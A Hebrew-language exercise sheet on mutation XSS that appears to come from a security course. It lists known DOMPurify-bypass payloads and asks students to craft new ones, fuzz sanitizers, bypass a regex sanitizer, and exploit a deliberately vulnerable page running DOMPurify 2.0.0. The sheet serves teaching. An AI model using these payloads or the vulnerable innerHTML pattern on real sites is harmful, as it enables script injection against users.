מוטציית XSS - תרגיל¶
תרגיל 1: הבנת מוטציות¶
עבור כל אחד מקטעי ה-HTML הבאים, הסבירו מה קורה כשמכניסים אותו ל-innerHTML ומה יהיה ה-DOM שנוצר:
א.¶
ב.¶
ג.¶
ד.¶
לכל אחד: פתחו את DevTools, הכניסו ל-innerHTML, ובדקו את התוצאה.
תרגיל 2: בדיקת DOMPurify¶
כתבו סקריפט שבודק אם ה-payloads הבאים עוברים DOMPurify ומה קורה אחרי innerHTML:
let payloads = [
'<svg><title><img src=x onerror=alert(1)></title></svg>',
'<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>',
'<noscript><p title="</noscript><img src=x onerror=alert(1)>">',
'<svg></p><style><a id="</style><img src=x onerror=alert(1)>">',
'<math><annotation-xml encoding="text/html"><img src=x onerror=alert(1)></annotation-xml></math>'
];
עבור כל payload:
1. מה DOMPurify מחזיר?
2. האם יש מוטציה אחרי innerHTML?
3. האם ה-XSS מופעל?
תרגיל 3: יצירת payloads מקוריים¶
א. שילוב SVG ו-math¶
צרו payload שמשלב <svg> ו-<math> כדי ליצור מוטציה. השתמשו ב-foreignObject ו-annotation-xml.
ב. ניצול style¶
צרו payload שמנצל את ההבדל בפרסור של <style> בין SVG namespace ל-HTML namespace.
ג. שרשור אלמנטים¶
צרו payload שמשרשר שלושה אלמנטים שונים כדי ליצור מוטציה שמעבירה <img onerror> מטקסט לאלמנט HTML פעיל.
תרגיל 4: בניית fuzzer¶
כתבו fuzzer ב-JavaScript שמחולל שילובים של:
- אלמנטי namespace:
svg,math,foreignObject,annotation-xml,desc,mtext - אלמנטי טקסט:
style,title,noscript,xmp,textarea,template - תוכן זדוני:
<img src=x onerror=alert(1)>,<script>alert(1)</script> - מבני עומק: 1-3 רמות קינון
הסקריפט צריך:
1. לייצר את כל הקומבינציות
2. להעביר כל אחת דרך DOMPurify
3. להכניס ל-innerHTML
4. להשוות את הקלט והפלט
5. לדווח על מוטציות שנמצאו
תרגיל 5: עקיפת סניטייזר מותאם¶
הקוד הבא מממש סניטייזר פשוט. מצאו דרך לעקוף אותו:
function sanitize(html) {
// הסרת תגיות script
html = html.replace(/<script[\s\S]*?<\/script>/gi, '');
// הסרת event handlers
html = html.replace(/\s+on\w+\s*=\s*["'][^"']*["']/gi, '');
html = html.replace(/\s+on\w+\s*=\s*[^\s>]*/gi, '');
// הסרת javascript: URLs
html = html.replace(/javascript\s*:/gi, '');
// הסרת data: URLs
html = html.replace(/data\s*:/gi, '');
return html;
}
א. מצאו לפחות 3 דרכים שונות לעקוף את הסניטייזר.¶
ב. הסבירו למה regex-based sanitization לא בטוחה.¶
ג. כתבו payload שמנצל מוטציה כדי לעקוף את הסניטייזר גם אם הוא היה חזק יותר.¶
תרגיל 6: מוטציה בפועל¶
הגדרת סביבה¶
צרו דף HTML עם הקוד הבא:
<!DOCTYPE html>
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.0/purify.min.js"></script>
</head>
<body>
<div id="output"></div>
<script>
let params = new URLSearchParams(location.search);
let input = params.get('html') || '';
let clean = DOMPurify.sanitize(input);
document.getElementById('output').innerHTML = clean;
</script>
</body>
</html>
א. שימו לב - הגרסה היא 2.0.0 (פגיעה). מצאו payload שיריץ alert(document.domain).¶
ב. שנו את הגרסה ל-3.x (אחרונה). האם אותו payload עדיין עובד? אם לא, מצאו אחד שכן (או הסבירו למה זה קשה יותר).¶
ג. שנו את הקוד להשתמש ב-RETURN_DOM_FRAGMENT במקום מחרוזת. האם ה-payload עדיין עובד? הסבירו.¶
תרגיל 7: ניתוח CVE¶
חקרו את ה-CVE הבא: CVE-2020-26870 (DOMPurify bypass)
- מה ה-payload המדויק?
- איזו גרסה של DOMPurify פגיעה?
- מה המוטציה שמתרחשת?
- איך התיקון מונע את המוטציה?
- כתבו PoC שמדגים את החולשה
תרגיל 8: הגנה¶
כתבו מודול JavaScript שמספק הגנה מפני mXSS: